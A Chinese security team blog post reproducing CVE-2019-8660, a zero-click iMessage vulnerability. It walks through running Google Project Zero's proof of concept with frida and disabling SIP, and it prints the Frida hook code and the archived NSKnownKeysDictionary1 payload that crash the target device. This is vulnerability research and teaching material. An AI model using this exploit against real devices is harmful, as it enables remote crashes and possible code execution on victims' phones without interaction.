陌陌分享 | CVE-2019-8660 漏洞复现
2019-08-04 01:13:08 Author: mp.weixin.qq.com(查看原文) 阅读量:65 收藏

沃·兹基硕德小贴士
当然周末也不忘分享

本次分享来自陌陌安全团队的exchen,上次他为大家解答了 iOS 加载异常图片系统重启之迷 ,本次又将会从谷歌 Project Zero 团队成员发现的具有 “无交互” 特点的 iMessage 漏洞中带来怎样的分享呢?咱们接着往下看。

前言

近期谷歌的研究人员披露了 5 个 iOS 中安全漏洞,并公布了 POC(Proof of concept),攻击者利用这些漏洞可以通过 iMessage 发送精心设计的消息来攻击 iOS 设备,这些漏洞不需要和任何用户交互,只要目标机 iMessage 信息接收成功即可触发漏洞。
CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 这三个漏洞可以导致系统重启,或者任意代码执行。
CVE-2019-8646 这个漏洞可以导致任意文件读取,比如发送 iMessage 信息到目标机,可以获取到目标机的照片。
CVE-2019-8641 这个漏洞由于在最新的 12.4 系统上未修复,所以并未公布具体细节。其他 4 个漏洞已经在 12.4 修复。

复现漏洞

首先是要复现漏洞,以 CVE-2019-8660 为例,其他几个漏洞的复现方式类似。在测试之前,请打开 iOS 设备上的 iMessage 的消息接收,方法是点击设置 -> 信息 -> 打开 iMessage 信息开关。下面是复现漏洞的具体步骤:
(1)安装 python3
brew install python3
(2)安装 frida
pip3 install frida
(3)下载并解压 POC,下载地址是:https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==
(4)将 sendMessage.py 里的 receiver 替换成目标邮箱地址
#receiver = "YOUR EMAIL"receiver = "[email protected]"
(5)将 injectMessage.js 里的 obj 文件的路径填写成你本机的
//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
(6)需要关闭 SIP (System Integrity Protection,系统完整性保护),方法是重启按住 Commond + R 进入 recovery 模式,在实用工具里打开终端,输入 csrutil disable 即可禁用 SIP,然后重启进入正常模式。测试完漏洞之后别忘记打开 SIP,方法是:进入 recovery 模式,输入 csrutil enable。如果没有这一步操作,frida 注入进程可能会失败。
(7)最后执行 sendMessage.py 发送 iMessage,只要目标机接收到 iMessage 消息即可以触发漏洞,并不需要点击查看。
python3 sendMessage.py
触发漏洞的目标机重启之后,打开短信应用会闪退,原因是之前测试的那条带漏洞的 iMessage 消息还存在,会被短信应用加载,加载错误就闪退了。解决的方法是给目标机多发送几条正常的信息,这样会覆盖掉带漏洞的短信,然后在搜索栏输入关键字定位到有问题的短信,删除即可。

POC 的实现原理

POC 的实现原理是使用 AppleScript 调用 macOS 的信息应用对目标发送 iMessage 消息,其中使用 frida 对 jw_encode_dictionary_addr 函数进行 Hook,修改原始的消息体结构。在 injectMessage.js 里有构造带有漏洞的 iMessage 消息体的代码,核心代码如下:
console.log(dict);  //打印原始正常的消息体//对正常的消息体进行修改,构造带有漏洞的消息体var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");console.log(d);  //打印obj文件newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");newDict.setObject_forKey_(d, "bp");  //obj文件// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");
newDict.setObject_forKey_(8, "gv");newDict.setObject_forKey_(0, "pv");newDict.setObject_forKey_(1, "v");newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");newDict.setObject_forKey_(d, "bp");newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");newDict.setObject_forKey_(1, "v");
newDict.setObject_forKey_("\Ufffd\Ufffc", "t");args[0] = newDict.handle;
替换的 iMessage 消息体会放入 obj 文件,obj 文件里有一个 NSKnownKeyDictionary1 对象,正是因为解析 NSKnownKeyDictionary1 对象时引发问题造成的漏洞的触发。
<dict>    <key>$classes</key>    <array>        <string>NSDictionary</string>        <string>NSObject</string>    </array>    <key>$classname</key>    <string>NSKnownKeysDictionary1</string></dict><dict>    <key>$classes</key>    <array>        <string>NSKnownKeysMappingStrategy1</string>        <string>NSObject</string>    </array>    <key>$classname</key>    <string>NSKnownKeysMappingStrategy1</string></dict><string>i am very long indeed</string><dict>
上面的 obj 文件实际上是 Archive (归档)文件, 通过 NSKeyedArchiver 里的方法可以构造 Archive 文件,示例如下:
NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};
NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err];if (!data) {NSLog(@"Error: %@", err);return;}[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];
iMessage 的消息内容是在 sendMessage.py,我们可以替换 REPLACEME 发送自定义的消息
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]

然后在 injectMessage.js 中也需要将 REPLACEME 保持和自定义的消息内容一致

if (t == "REPLACEME")

参考资料:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1884

https://bugs.chromium.org/p/project-zero/issues/detail?id=1874

https://bugs.chromium.org/p/project-zero/issues/detail?id=1873

https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

Author: exchen

📢 插播一个小福利
转发文章截图发送至公众号后台
将抽取3位幸运鹅送出exchen同学的新书
《九阴真经——IOS黑客攻防秘籍》
翻开书会不会喜提签名一个呢?(思考..🤔

关于《九阴真经——IOS黑客攻防秘籍》
本书内容易于理解,可以让读者循序渐进、系统性地学习iOS安全技术。书中首先细致地介绍了越狱环境的开发与逆向相关工具,然后依次讲解了汇编基础、动态调试、静态分析、注入与hook、文件格式,最后为大家呈现了应用破解与应用保护、隐私获取与取证、刷量与作弊、唯一设备ID、写壳内幕等多个主题。
书籍详细链接👇
https://www.exchen.net/ios-hacker-secret-book-contents.html

-end-

陌陌安全也会在接下来的日子中

给大家带来更多更好的技术分享

咱们下期再见👋

陌陌安全

陌陌安全致力于以务实的工作保障陌陌旗下所有产品及亿万用户的信息安全,以开放的心态拥抱信息安全机构、团队与个人之间的共赢协作,以自由的氛围和丰富的资源支撑优秀同学的个人发展与职业成长。


文章来源: https://mp.weixin.qq.com/s/eoI_K9f5_XbVg9kIO7to8Q
如有侵权请联系:admin#unsafe.sh